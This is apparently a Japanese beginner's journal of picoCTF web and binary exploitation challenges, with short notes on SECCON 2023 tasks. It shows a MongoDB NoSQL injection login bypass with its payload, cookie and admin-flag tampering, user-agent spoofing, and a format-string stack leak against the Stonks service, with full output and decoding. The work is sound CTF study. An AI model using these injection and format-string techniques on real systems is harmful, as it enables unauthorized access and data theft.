PicoCTFのらいとあっぷみたいなやつ。(Web Exploitationの旅)

はじめに

picoCTFに取り組んで行くときの考えていたことを書き記す。writeupというより、解いた道筋を書いていますので、最短距離を知りたい人にとっては意味わからないものかもしれません。ご了承ください。begginerのお戯れと思って暖かく見守っていただければ幸いです。とある企業のCTFで脆弱性診断よりの問題に手も足も出なかったので、それでもまずは10000solves以上のものに取り組んで行こうと思う。

開閉

Cookies

Who doesn't love cookies? Try to figure out the best one. http[:]//mercury.picoctf.net:54219/ということでwebサイトが配布されている。cookieを見つけるものらしい。

知識(cookie)
cookie Cookie(クッキー)とは?仕組み・種類・目的・設定方法を解説 ログインパスワードなどの入力を記録したりして利便性を向上させる機能らしい。

無知すぎて、ここからどうすればいいかわからん。writeip見る。
参考にしましたのはpicoCTF2021 [Web Exploitation] writeupです。

cookieの確認はwebページの開発者ツールからできるようだ。(ブラウザ別Cookieの確認方法)cookiesの値はダブルクリック?で編集モードに入るので、そこで値を変えるとページが変わった。

cookie でnameのインデックスをセットしているようです。この値を変えながらflagが出るまで試す。
実際引用元のコードを利用させていただきました。flagゲット。

感想 web関係のCTFが不慣れなものが原因か手も足も出ない。徐々に知識を培っていきたい。cookieを用いた問題はちょっとは手が出せるのかな?

Insp3ct0r

Kishor Balan tipped us off that the following code may need inspection: https[:]//jupiter.challenges.picoctf.org/problem/44924/ (link) or http[:]//jupiter.challenges.picoctf.org:44924

与えられたURLは検査が必要なようです。直接訪れていいとは思う。脆弱性があるのかな? whatとhowで表示されるものが変わるシンプルな作り。いじれる可能性は少なさそうなんだけどな。 でも,JavaScriptを用いた攻撃があるのは知っているので、そこを利用されるのかな?でも、見たところ変なとこはなさそう。 管理ツールでソースコード見てみるとflagが3つに分割されて書かれているそれらを合わせるといけそう。

Html is neat.
You need CSS to make pretty pages.
Javascript sure is neat.
と添えられていた。つまり、問題なかったのかな?

Scavenger Hunt

There is some interesting information hidden around this site http[:]//mercury.picoctf.net:5080/. Can you find it?
何かしらの重要な情報が隠されているらしい。見つけるようだ。 開発者ツールのコードからインデックスとmycss.cssからflagの2/3が発見できた。
残りを見つけなければならない。 myjs.jsにflagがあるはずだがない。その代わり以下の文が書かれていた。
/ How can I keep Google from indexing my website? /
Googleにウェブサイトをインデックスされるとはどういうことなのか?

知識(googleのインデックス)
googleのインデックス googleのインデックスに関して つまり、googoleは自動的にwebサイトを登録して、検索エンジンに表示している。 それを行うのがこのインデックスということかな。

インデックスはわかった。それをされないため?そんなことができるのですね。 上記のところにも方法は書いてあったが、開発者ツールのコードは変更できない。

ここからwriteUpを見てしまいました。
ということで、ほかの方法を探す。(検索に引っかからないようにする3つの方法!削除する方法も解説)に「robots.txtへの記述でクローラーを制御する方法があります」と書いてある。

知識(Robots.txt)
Robots.txt Robots.txtとは?| Robots.txtファイルの仕組み ここでインデックスの設定などを記入できるようだ。

つまり、このrobots.txtをいじることで防げるのかな。訪れてみる。

User-agent: *
Disallow: /index.html
# Part 3: t_0f_pl4c
# I think this is an apache server... can you Access the next flag?

apacheについてみてみる。 (CTF Web メモ) に.htaccessを確認するとよいらしい。

# Part 4: 3s_2_lO0k
# I love making websites on my Mac, I can Store a lot of information there.

先のサイトでMacといえば、.DS_Storeということで調べてみるとflagの最後の断片をゲット終了。

[2023/12/25]
今年最後の問題になりそうです。よいお年を。

Unminify

I don't like scrolling down to read the code of my website, so I've squished it. As a bonus, my pages load faster! Browse here, and find the flag!
なにかを省略したのだろうか。

すでにflagは送られているようだ。
問題文のUnminifyを調べてみるとMinifyの逆の動作のようだ。

知識(Minify)
Minify (Minify(ミニファイ)とは何か?圧縮方法とJS・CSSの軽量化のメリットを解説)を参考にした。つまり、コードを圧縮して、高速化を図ったようだ。

つまり、この問題では圧縮されたコードをもとに戻すといった感じだろうか。JavaScriptCSSが送られているようだが、、 管理者ツールでコード見てたらflagっぽいのがそのままあった。これでおしまい?

Bookmarklet

Why search for the flag when I can make a bookmarklet to print it for me? Browse here, and find the flag!
となっている。

知識(JavaScript)
JavaScript (【超入門】JavaScriptとは?できること・基本をわかりやすく解説)を参考にした。ブラウザ上で動くプログラムのようだ。
知識(bookmarklet)
bookmarklet (【必見】ブックマークレットの使い方・作り方と便利なおすすめ13選を解説)を参考にした。「Webブラウザに機能を追加してブックマークできるもの」だそうです。

(Bookmarkletを作ろう(準備編))から画面に表示されているコードはブックマークレットなのかもしれない。そして、それを実行する方法はアドレスバーに入力するだけ。そうするとflagがポップしてくる終了。

WebDecode

Do you know how to use the web inspector? Start searching here to find the flag
webインスペクターとは何ぞや。
copilotに聞くとどうも開発者ツールのことだと思う。
開発者ツールを用いつつ、サイトを見ていくとaboutのところで何やら。目を引く文字列がある。cyberchefに入れて、magicしたらBase64されていたみたい。デコードしたら終了。

No Sql Injection

Can you try to get access to this website to get the flag? You can download the source here. The website is running here. Can you log in?
ということで、コードとページが与えられた。
コードを見ているが、固有名詞がデータベースに入っているというわけではないので、不正なログインはできなささそう。hintsを見た。NoSQL injectionというものがあるようだ。

知識(NoSQL injection)
NoSQL injection (NoSQLでもインジェクション攻撃は成立する|仕組みと対策を解説)を参考にした。「NoSQLのデータベースに対して実行されるインジェクション攻撃です。」だそうだ。そのようなDBが存在しているのね。
知識(NoSQL)
NoSQL (【図解】NoSQLとは?注目される背景や種類をわかりやすく解説)を参考にした。リレーショナルデータベース以外のデータベースのことを示しているようだ。

database.tsにimport mongoose, { ConnectOptions } from "mongoose";とあった。これがNoSQLのデータベースなのね。クエリに不正があればインジェクションできるようだ。

NoSQLのデータベースも、データを操作する際には「クエリ」と呼ばれる命令文を使います。そのため、このクエリの組立て方法に不備があれば、NoSQLのデータベースであっても、このクエリに干渉するような入力値を挿入することで、インジェクション攻撃を実行できる場合があります。NoSQLを使っているからといって安心せず、必要な対策を実施しなければなりません。

(MongoDBにおけるNoSQLインジェクション: 脆弱性の仕組みと対策)を参考にすると、

import User from "../models/user";
export const seedUsers = async (): Promise<void> => {
  
  try {

     const users = await User.find({email: "joshiriya355@mumbama.com"});
      if (users.length > 0) {
        return;
      }
    const newUser = new User({
      firstName: "Josh",
      lastName: "Iriya",
      email: "joshiriya355@mumbama.com",
      password: process.env.NEXT_PUBLIC_PASSWORD as string
    });
    await newUser.save();
  } catch (error) {
    throw new Error("Some thing went wrong")
  }
};

このファイルで初期ユーザーが定義されている。これは用いるのだろうか?

import mongoose, { Schema, Document, models } from "mongoose";

export interface UserInterface extends Document {
  email: string;
  firstName: string;
  lastName: string;
  password: string;
}

const UserSchema: Schema = new Schema({
  email: { type: String, required: true, unique: true },
  firstName: { type: String, required: true },
  lastName: { type: String, required: true },
  password: { type: String, required: true },
  token: { type: String, required: false ,default: "{{Flag}}"},
});
const User = models.User || mongoose.model<UserInterface>("User", UserSchema);

export default User;

user.tsではuserスキーマが定義されている。ここで、ユーザーデータベースとして作っている。

export const POST = async (req: any) => {
  const { email, password } = await req.json();
  try {
    await connectToDB();
    await seedUsers();
    const users = await User.find({
      email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email,
      password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : password
    });

    if (users.length < 1)
      return new Response("Invalid email or password", { status: 401 });
    else {
      return new Response(JSON.stringify(users), { status: 200 });
    }
  } catch (error) {
    return new Response("Internal Server Error", { status: 500 });
  }
};

ここ(route.ts)がユーザーを認証しているように考える。コードの解釈はAIに聞くとわかりやすい。(JSON.parse()、JSON.stringify()の使い方|間違えやすいポイントも解説します!)を見るとコード解釈が分かりやすい。 コードをAIに読み込ませるとemailとpasswordのところに{}で始まり終わるコードを入力するとそれがJavascriptオブジェクトになるようだ。これがインジェクションに役立つのか?

知識(Javascriptオブジェクト)
Javascriptオブジェクト (オブジェクトとは)を参考にした。キーとバリューの組で表されるようだ。

どうやってインジェクションするのだろうか? (NoSQLでもインジェクション攻撃は成立する|仕組みと対策を解説)を参考にすると、

MongoDBの主な特徴はスピードで、特定の操作を行うための演算子が用意されています。今回例にあげる演算子は「$ne」です。これは「not equal」の略称で、一致しない値を出力します。例えば、「’$ne’:”test”」と使えば、「test」という文字列に一致しないデータを出力します。

ということでインジェクションが行えると書いてある。つまり、{’$ne’:”test”}とすればできるのではないか?ダメみたい。
writeUpを確認した( picoCTF 2024 - Writeup)。{ "$ne": "nai-nai" }で入力したらいけるようだ。違いが判らん。スペースか"と'の違いくらいしかない。
結果から言うと"が鍵になっていたようだ。{’$ne’:”test”}のtestに使われている"これは少し違うみたい。なので、"を使って行えばできたようだ。
そしたら、loginのレスポンスの中のtokenを確認したらBase64エンコードされているので、デコードすれば終了。

where are the robots

Can you find the robots? https://jupiter.challenges.picoctf.org/problem/60915/ (link) or http://jupiter.challenges.picoctf.org:60915
ということで以下のようなサイトを渡された。

robotsはどこということでrobots.txtのことであろう。(robots.txtとは?意味から設定方法まで詳しく解説)を参考にした。ドメインのルートディレクトリにあるはずなので。今回の問題だとhttps[:]//jupiter.challenges.picoctf.org/problem/60915/robots.txtにあると思い入力。

内容が書かれている。

User-agent: *
Disallow: /8028f.html

User-agentはどのクローラーに認識させるかを決めているようだ。*なのですべて。
Disallowが設定されている。訪れさせたくないのかな。つまりflagありそう。入力したらあった。終了。

logon

The factory is hiding things from all of its users. Can you login as Joe and find what they've been looking at? https://jupiter.challenges.picoctf.org/problem/15796/ (link) or http://jupiter.challenges.picoctf.org:15796
ということで、どうにかしてjoeというアカウントにログインする問題のようだ。

与えられたのはこんなページ。 コードを確認していたがそれっぽいことは書かれていない。(picoCTF 2019 logon - Points: 100)writeupを見てしまった。cookie情報で攻撃を行うようだ。
確かに見てみるとadminだけfalseになっている。これが問題のようだ。 開発者ツールでここをTrueに書き換えたら終了。

dont-use-client-side

Can you break into this super secure portal? https://jupiter.challenges.picoctf.org/problem/29835/ (link) or http://jupiter.challenges.picoctf.org:29835
ということらしい。開発者ツール見たら分かれて書いてあった。並び替えて終了。

login

My dog-sitter's brother made this website but I can't get in; can you help?
ということでwebサイトのURLが渡された。

シンプルな作り。開発者ツール見てみる。index.jsに気になるところ発見。

   , t = {};
        for (const e in r)
            t[e] = btoa(document.querySelector(r[e]).value).replace(/=/g, "");
        return "YWRtaW4" !== t.u ? alert("Incorrect Username") : "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" !== t.p ? alert("Incorrect Password") : void alert(`Correct Password! Your flag is ${atob(t.p)}.`)
    }

入力された文字をbtoa(document.querySelector(r[e]).value).replace(/=/g, "")で変換している。

知識(btoa関数)
btoa関数 (JavaScriptのバイナリー文字列とatob、btoaの関係について)を参考にした。base64と文字列を変換する関数のようだ。

よって、base64デコードしてみる。

ビンゴadminでやっている。passwordの方をデコードするとflagゲット。終了。

Inspect HTML

Can you get the flag? Go to this website and see what you can discover.
開発者ツール見たら発見。低評価が付くのも納得。

Local Authority

Can you get the flag? Go to this website and see what you can discover.

シンプルな作り。適当なワードを入力して実行するとその先の画面に行く。その時に開発者ツールでコードを見るとユーザー名とパスワードが書かれているので入力。正解。終了。

Includes

Can you get the flag? Go to this website and see what you can discover.
開発者ツール見たらflagあり。

Some Assembly Required 1

http://mercury.picoctf.net:37669/index.html
サイトが渡された。
これも開発者ツール見たらadda0372というファイルの下の方に書かれていた。もっとちゃんとした解き方があるのかな?javascriptについて何かしらコードが動いているようだが、またそのような問題が出てきたときに学ぶとする。

picobrowser

This website can be rendered only by picobrowser, go and catch the flag! https://jupiter.challenges.picoctf.org/problem/50522/ (link) or http://jupiter.challenges.picoctf.org:50522
レタリングってどういう意味だろうか?

flagを押すと

picobrowserじゃないって言われた。

知識(レタリング)
レタリング (Webブラウザのレンダリングの仕組みを理解する)を参考にする。「「指定したリソースをブラウザ画面に表示すること」を「レンダリング」と言います。」だそうです。

レタリングエンジンを同じものにしろってことかな?エラーとして出てきた文字をAIに投げると「ユーザーエージェント (User-Agent) 文字列で、ウェブブラウザがウェブサーバーに送信する情報を表します。」だそうだ。

知識(ユーザーエージェント)
ユーザーエージェント (ユーザーエージェントとは? 意味や使い方を解説)を参考にする。「、インターネットを閲覧しているユーザーの、デバイス・OS・ブラウザなどの情報を文字列にしたもの」だそうだ。

UAを変更するとよいのかな?(Chromeでユーザーエージェント (UA) を変更する方法)を参考にしてUAを変更するとflag出てきた。

Search source

The developer of this website mistakenly left an important artifact in the website source, can you find it? The website is here
ということで普通のサイトを渡された。

気になる部分はここ。どうにかしてこの画像を表示させるのが目標なのかな。わからないのでwriteup見たらまじでコードの中にあった。探す系は面倒。

Can you get the flag? Go to this website and see what you can discover.


という画面遷移をするようだ。

function continueAsGuest()
{
  window.location.href = '/check.php';
  document.cookie = "isAdmin=0";
}

ソースコードはこんな感じ。isadmin = 0の時に二枚目の画面に遷移すれと考えらえるので、0以外にする。flagゲット。

これ以降未解決

More Cookies

I forgot Cookies can Be modified Client-side, so now I decided to encrypt them! http://mercury.picoctf.net:21553/ クッキーが編集できるようです。encryptとあるので暗号化されているように思う。
eDh1VHlRd011aDQ2QmtJelZpNEtUaU1ldXMxYVAvRTJOSzJLNHdvejRaTFJpUjFYd2ROVlhEWjY4TlJGTmRrbFFoalJGYkxndHBIRmVrc0dnM1h0S3RUeE16dEVVOEtyYzFDcTVGSHpoTXlvcVQ2T3JMSXNYVG1jZFBzRit5VEg=
cyberchefのmagicを用いてもいい感じになるものはない。どうやるのかな。末尾が=なのでbase64がにおいます。一応変形はできるけど、可読文字にはならない。お手上げ、writeup読んでもわからない。いったん飛ばす。

IntroToBurp

Try here to find the flag

登録画面のようだ。なんでもいいので文字列を入力。
よくわからない画面に入った。2fa authentication?調べてみると二要素認証のことのようだ。OTPはワンタイムパスワードの略のようだ。

知識(2fa 認証)
2fa認証 (2 要素認証とは?)を参考にした。2つの異なる秘密や特有のものを用いて認証すること。
知識(OTP)
OTP (ワンタイムパスワード(OTP)とは? 仕組みや多要素認証などについて解説)を参考にする。短い時間しか使えないパスワードといった感じ。

OTPをよくわからず入力すると
もしかしたら、メールあてに何かしらが送られていたのだろうか?
hints見てみた。

Try using burpsuite to intercept request to capture the flag.

ということでなにかしらのツールが必要そう。いったんほかの問題する。

Who are you?

Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn

またpicobrowserを使う系のやつなのかな?
前の問題のようにUAを変えてみたが違うようだ。異なるサイトから遷移するのは信用できないようだ。writeupをちろっと見てみたが、難しい。また今度。

It is my Birthday

I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website. http://mercury.picoctf.net:63578/

二つのファイルを入力してハッシュの衝突を確認するもの?

同じものを自身で作成してアップロードすると上のような画面に遷移。ファイルが違うようだ。招待状を偽装する必要があるようだ。
送信後のindex.phpを見ているとペイロードが見たことない感じになっている。調べてみると(【HTTP】multipart/form-data の boundary って何ぞや?)のようなデータ構造で送信されていた。どこで処理されているかがわからない。
writeupを見てしまった(It is my Birthday [picoCTF 2021])。今回は処理というよりmd5の衝突に関する問題のようだ。

知識(md5)
md5 (【MD5って何?】なんでもう使われていないのかまとめてみた!)を参考にした。衝突困難性が破られてしまっているようだ。

secconCTF 2023

CTFに挑んでいるなら高みを知っておきたくて参加しました。welcome以外見てみたけど難しく感じるw
できるものをやりたいけど、warmupは頑張りたい!そんな感じで記録していきます。解法は書いてないのでwriteupとして探していたら違います。

web

Bad JWT

さきほどNECさんのctfに挑んでいましたけど、JWTトークンは脆弱性が多くあるようですね。

pwnable

rop-2.35

The number of ROP gadgets is declining worldwide.という言葉とともに通信コマンドnc rop-2-35.seccon.games 9999とその先で動いているコードが与えられている状態。

コード見てもわからないので、ROPガジェットについてまずは知るところからかな。

crypto

plai_n_rsa

I've dropped the "n" ... where is my "n" :(という言葉とともにテキストファイルとcコードwが与えられている。
RSA関係ですね。mがflagなので平文を復号するようですね。nってn=(p-1)(q-1)で表されるあのnかな?方針は立ちやすいような気がする。

pow(a,b,c)はcを法としてaをb乗するということだと思う。
RSAに関しては(わかった気になれる『サマーウォーズ』の暗号 「RSA暗号」を解説)ここが分かりやすい。

今回与えられたものだけでは、結局nが分からないのでmを復号することはできない。

sandbox

crabox

🦀 Compile-Time Sandbox Escape 🦀という言葉とともに通信コマンドとコードが渡された。この分野知らないな、、サンドボックスで解析するのかな?

reversing

jumpout

Sequential executionという言葉とともになにかしらのファイルが渡された。 何かしらのファイルを渡されたら初手はfile,stringsコマンド。

└─# file jumpout
jumpout: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=707d320f5878e3aa46c32541861d1ac04efd9f29, for GNU/Linux 3.2.0, stripped
└─# strings jumpout
/lib64/ld-linux-x86-64.so.2
__cxa_finalize
__printf_chk
__libc_start_main
puts
strlen
__isoc99_scanf
__stack_chk_fail
libc.so.6
GLIBC_2.7
GLIBC_2.3.4
GLIBC_2.4
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
L$ H
T$(H
[]A\A]A^A_
|$0A
t$0L
PTE1
u+UH
D$81
D$ H
D$8dH+
D$(H
T$(dH+
8[]A\A]A^A_
FLAG:
%99s
Correct!
Wrong...
:*3$"
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

実行形式のファイルだろう。stringsからGCCよりc言語かな?flagもありそう。

misc

warmupないのでできるかなw

readme 2023

Can you read the flag?ということで通信先で動いている情報と通信コマンドが渡されている。

└─# nc readme-2023.seccon.games 2023
path: flag.txt
[-] Path not allowed

与えられた通信を行うとpathを要求される。同じディレクトリ内にあるflag.txtをやると許可されていないと設定されている。

PicoCTFのらいとあっぷみたいなやつ。(binary Exploitationの旅)

はじめに

picoCTFに取り組んで行くときの考えていたことを書き記す。writeupというより、解いた道筋を書いていますので、最短距離を知りたい人にとっては意味わからないものかもしれません。ご了承ください。begginerのお戯れと思って暖かく見守っていただければ幸いです。バッファオーバーフローをやってみたいので取り組む。それでもまずは10000solves以上のものに取り組んで行こうと思う。(全体的にsolves数が低いのでビビってますw)その次に1000solves以上を解いていきたいと思います。

開閉

Stonks

I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn't believe you if you told me it's unsecure! という言葉とともにcのコードとnc mercury.picoctf.net 27912のコマンドが与えられている。 コマンドを実行すると、接続先でcのコードが実行される仕組みだと考えられる。 ※StonksとはStocks(株)のわざとした誤字のようです。つまり、自動的に株取引をするコードってことかな。

回答に関係ないコードについて素人がたらたら書いてます。なので省略!

見たい人はクリック

さて、せっかくのCTFなので、機能を分解して答えに近づこうと思います。

  • setbuf:https://daeudaeu.com/c-setbuf/#setbufを見て学んだ。ストリームのバッファの設定を行っているようだ。stdoutは標準出力。 NULLは関数内部でメモリが確保される。stdoutをノンバッファリングに設定しているらしい。
  • srand:rand関数で発生させる擬似乱数の発生系列を変更するようだ。srand

  • Portfolio:portfolio型には、int型のmoneyとstonk方のheadとういうポインタが定義されている。
  • stonk:int型のsharesとchar型のsymbol配列、次のstonksのポインタがある。stonkがつながっている構造なのだろうか?

さて、portfolioを初期化する関数がある。portfolioのポインタから、mallocで領域を確保し、2018未満のランダムなmoneyを定義、headはnullのようだ。ここまでで、正しくportfolioが作られていないとif文ではじかれるようだ。
そして、respというものを初期化して、printfを実行したのちに、respをこっちで決める。それにより、buy_stonksかveiw_portfolioを実行。portfolioで確保していた領域を解放して終了となる。


view_portfolioではまず与えられたpが存在しないなら異常終了。 その後に、stdoutに記述されているものをfflushする動作が行われているのかな? 改行されたのちに、stonk型のheadポインタに与えられたpのheadポインタを代入している。 このheadがないとyou don't own any stonksが返ってくる。 headが孫あいするとheadのshareとsymbolが出力され、stonk内のnextがheadに格納されて、nextがなくなるまで出力される。
buy_stonksはapi_bufというものにflag領域を確保しているように思う。 ファイルapiを読み込みモードで開いている。fがなかったら異常終了。 fgets関数はファイルから文字列を一行取得してくれる関数 https://bituse.info/c_func/28
つまり、api_bufにFLAG_BUF分の文字をfから持ってくるということかな。

moneyはpのmoneyであり、sharesは0に設定される。 while内を見ていく。 sharesはmoney未満のランダムな数値。 tempはpick_symbol_with_AIという関数を実行している。 tempのnextはpのヘッダが格納され、pのheadにこのtempを格納、moneyはshares分引く。 ここが、moneyがマイナスになるまでstonksを購入するということだろうか。 それから、なぜかAPIトークンを入力するよう問われ、トークンを用いて安全にstonksを購入したといわれる。 そのあと、ポートフォリを表示される。


pick_symbol_with_AIについて、一つのstonkを作って、引数のsharesをそのstonkに格納。 そのあと、symbolをつくっているようだ。次のstonkはなしでstonkを返す。


結局flagに関係しているbuy_stonksのfgetsされたapi_bufを手に入れることだと思おう。 鍵になるのはuser_bufのscanfでの入力とprintの出力だと思う。バッファオーバーフローでも、入力で脆弱性を攻撃していくので。

これ以上はお手上げ。WriteUpを参考にする。picoCTF Practice Writeup 1 #CTF - Qiita

Format String Exploitという攻撃が使用できそうだそうです。初耳学。

知識(Format String Exploit)
Format String Exploit Format String Attack〜printfの脆弱性への攻撃〜 %sのように変換指定子を使わずにprintfを使用すると攻撃者が出力内容をコントロールできてしまう。 printfはスタックの内容を表示してしまうようだ。 title, Loading... - おのかちお's blog

ちなみに%pはアドレスを16進数で出力する変換指定子のようです。まだ理解できていない模様。 user_bufもapi_bufもchar型なので、スタックへの格納されている型もchar型で入っているのだろうか?ならchar型の変換指定子で入力するとよいのか?
%cではダメみたい。

よくわからんのでもう少しお勉強かな。

知識(変換指定子)
変換指定子 次の知識でprintfを扱うので、その前に変換指定子について理解しようと思う。 出力書式のまとめ 変換指定子 - printf出力書式まとめ - 碧色工房 何かしらの数値を変換指定子の規則をもとにある数値や文字に変換するような感じで使われる。

%xは変数の値を16進数で出力してくれるっぽい。

#include <stdio.h>

int main(void){
    char b[1] = "a";
    int a = 11;
    printf("%x", b[0]);
    printf("%x", a);
    return 0;
}
└─# ./a.out
61b

これでflagが格納されている中身を見ることができる。 また、 https://www.delftstack.com/ja/howto/c/p-in-c/

#include<stdio.h>

void main() 
{
    int i=100;
    printf("%d\n",i);
    int *pointer = &i;
    printf("%p\n",i);
    printf("%p\n",pointer);
}
└─# ./a.out
100
0x64
0x7ffc65b3b084

以上の実行からポインタ先を%pで選ぶとその中身の値を16進数で出力するようだ。 ポインタを%pするとそのアドレスを出力する。 つまり、スタックに積んである数値をどのように出力するかを変換指定子で決めているのかな?

知識(printf)
printfについて 少しだけprintfについて学ぶ。【C言語】printf(), sprintf(), fprintf()の違い、それぞれの仕組みについてこれが分かりやすいと思った。何かしらの文字列をファイルに入力することが標準出力としてディスプレイに出るような感じだろう。

以上のことから、%x,%pが良さそう。自分は%xで実行してみた。 %x,を50くらい入力して実行。そうすると16進数が返ってくる。

└─# nc mercury.picoctf.net 27912
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
Buying stonks with token:
95ab3d0,804b000,80489c3,f7f40d80,ffffffff,1,95a9160,f7f4e110,f7f40dc7,0,95aa180,2,95ab3b0,95ab3d0,6f636970,7b465443,306c5f49,345f7435,6d5f6c6c,306d5f79,5f79336e,32666331,30613130,ffbd007d,f7f7baf8,f7f4e440,29053200,1,0,f7dddce9,f7f4f0c0,f7f405c0,f7f40000,ffbdb928,f7dce68d,f7f405c0,8048eca,ffbdb934,0,f7f62f09,804b000,f7f40000,f7f40e20,ffbdb968,f7f68d50,f7f41890,29053200,f7f40000

この実行結果をASCIIに変換する。

└─# echo 95ab3d0,804b000,80489c3,f7f40d80,ffffffff,1,95a9160,f7f4e110,f7f40dc7,0,95aa180,2,95ab3b0,95ab3d0,6f636970,7b465443,306c5f49,345f7435,6d5f6c6c,306d5f79,5f79336e,32666331,30613130,ffbd007d,f7f7baf8,f7f4e440,29053200,1,0,f7dddce9,f7f4f0c0,f7f405c0,f7f40000,ffbdb928,f7dce68d,f7f405c0,8048eca,ffbdb934,0,f7f62f09,804b000,f7f40000,f7f40e20,ffbdb968,f7f68d50,f7f41890,29053200,f7f40000 | tr "," "\n" | xxd -r -p
����H�?@�������N@�p����;   Z��ocip{FTC0l_I4_t5m_ll0m_y_y3n2fc10a10��}�������@)2����������������(��������H���ۓ@��/      �K@@��ۖ�h�A��S @

flagっぽいのが見えてきた。picoがocipになっているのはスタックがリトルエンディアンを用いているからだそうです。 リトルエディアンをビックエディアンに変換する。ツールCyberChefで16進数にしてからエディアン変換して16進数からASCIIにする。終了。

考察 format string exploitを初めて知った。脆弱性などは知らないと厳しい。知っていくしかな。また、CTFではコードすべてを理解する必要はない。また、自分の環境での実行結果とncした先での実行結果は異なる。自分の環境では実行するより、中身を確認するのに徹するのがよさそう。

[2023/09/11]

[2024/01/29]

basic-file-exploit

The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it! Connect to the program with netcat: $ nc saturn.picoctf.net 65353 The program's source code with the flag redacted can be downloaded here. ということで、cファイルを渡された。やっぱりコードを解釈しないと難しいので前回と同様にざっとコードを見ていく。
回答に関係ないコードについて素人がたらたら書いてます。なので省略!

見たい人はクリック

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>

#define WAIT 60

static const char* flag = "[REDACTED]";

static char data[10][100];
static int input_lengths[10];
static int inputs = 0;

int main(int argc, char** argv) {
  char input[3] = {'\0'};
  long command;
  int r;

  puts("Hi, welcome to my echo chamber!");
  puts("Type '1' to enter a phrase into our database");
  puts("Type '2' to echo a phrase in our database");
  puts("Type '3' to exit the program");

  while (true) {   
    r = tgetinput(input, 3);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }
    
    if ((command = strtol(input, NULL, 10)) == 0) {
      puts("Please put in a valid number");
    } else if (command == 1) {
      data_write();
      puts("Write successful, would you like to do anything else?");
    } else if (command == 2) {
      if (inputs == 0) {
        puts("No data yet");
        continue;
      }
      data_read();
      puts("Read successful, would you like to do anything else?");
    } else if (command == 3) {
      return 0;
    } else {
      puts("Please type either 1, 2 or 3");
      puts("Maybe breaking boundaries elsewhere will be helpful");
    }
  }

  return 0;
}

まずは定義されているものとmain関数を見ていく。 定義されているものの予測は

  • flag
  • 書き込むデータを格納するdata
  • 書き込む文字の最大値input_lengths
  • 書き込まれたものの数inputs

後々わかったら編集します。 さて、メイン内では、 ユーザーからの入力を受けるinputと実行するものを確定させるcommand、なぞのrが定義されている。
仕様としては、1で書き込み、2で読み出し、3で終了のようだ。
rはtgetinputという自作の関数の出力で定義されている。この関数は後々見ていきます。ちなみにr==-3なら終了。

ここからcommandを計算して、それぞれの数字に対応するものを実行していく。
まずcommandはstrtol関数で定義されいている。軽く調べるとinputで入ってきた文字型の数字をlong型の数字にするようだ。
そして、commandが1ならdata_write()、2ならdata_read()、3なら正常終了、そのほかなら正常にするよな文字列を返す処理を行う。ここまでではflagはグローバル変数に定義されたくらいしかわからない。まあ、入力するとこも少ないのでオバーフローもできなさそう。

int tgetinput(char *input, unsigned int l)
{
    fd_set          input_set;
    struct timeval  timeout;
    int             ready_for_reading = 0;
    int             read_bytes = 0;
    
    if( l <= 0 )
    {
      printf("'l' for tgetinput must be greater than 0\n");
      return -2;
    }
    
    
    /* Empty the FD Set */
    FD_ZERO(&input_set );
    /* Listen to the input descriptor */
    FD_SET(STDIN_FILENO, &input_set);

    /* Waiting for some seconds */
    timeout.tv_sec = WAIT;    // WAIT seconds
    timeout.tv_usec = 0;    // 0 milliseconds

    /* Listening for input stream for any activity */
    ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
    /* Here, first parameter is number of FDs in the set, 
     * second is our FD set for reading,
     * third is the FD set in which any write activity needs to updated,
     * which is not required in this case. 
     * Fourth is timeout
     */

    if (ready_for_reading == -1) {
        /* Some error has occured in input */
        printf("Unable to read your input\n");
        return -1;
    } 

    if (ready_for_reading) {
        read_bytes = read(0, input, l-1);
        if(input[read_bytes-1]=='\n'){
        --read_bytes;
        input[read_bytes]='\0';
        }
        if(read_bytes==0){
            printf("No data given.\n");
            return -4;
        } else {
            return 0;
        }
    } else {
        printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
        return -3;
    }

    return 0;
}

次にrに代入された関数(tgetinput)を見ていく。inputが正当なものかを調べるものかな?エラーだとそれに合わせた負の値を返す感じ。mainをざっと見ただけではwhileのすぐ次にしか出ていないが、data_writeやdata_readの中で利用されている。
第2引数の数値が0以下だとエラーになる。

知識(FD(ファイルディスクリプタ))
FD (ファイルディスクリプタって何?仕組みとWindowsのC言語) を参考にした。OSがプログラムがアクセスするファイルの標準入出力などを識別するための識別子。

